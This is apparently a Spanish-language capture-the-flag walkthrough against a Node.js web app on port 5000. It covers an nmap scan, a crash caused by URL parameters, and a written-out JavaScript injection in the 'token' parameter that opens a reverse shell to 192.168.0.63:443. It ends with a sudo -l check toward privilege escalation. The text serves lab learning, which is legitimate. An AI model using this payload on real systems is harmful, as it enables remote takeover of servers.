Hacemos el escaneo con nmap:
Y esto es lo que corre por el puerto 5000:
Y si ponemos un texto en ese cuadro y damos a enter vemos que lo imprime por pantalla:
Pero vemos que nos cambia la url cada vez que añadimos algún parámetro:
Probamos en cambiar los parámetros de la url y la web crashea:
Y en esta web tenemos unas instrucciones de un payload que podemos utilizar para entablar una reverse shell: https://medium.com/dont-code-me-on-that/bunch-of-shells-nodejs-cdd6eb740f73
192.168.0.24:5000/?name=mario&token=(function(){ var net = require('net'), cp = require('child_process'), sh = cp.spawn('/bin/sh', []); var client = new net.Socket(); client.connect(443, '192.168.0.63', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;})();
Si esto lo ponemos en el apartado de token, vemos que funciona:
Si ejecutamos un sudo -l vemos que podemos ejecutar un binario llamado links:
Y esto es lo que hace:












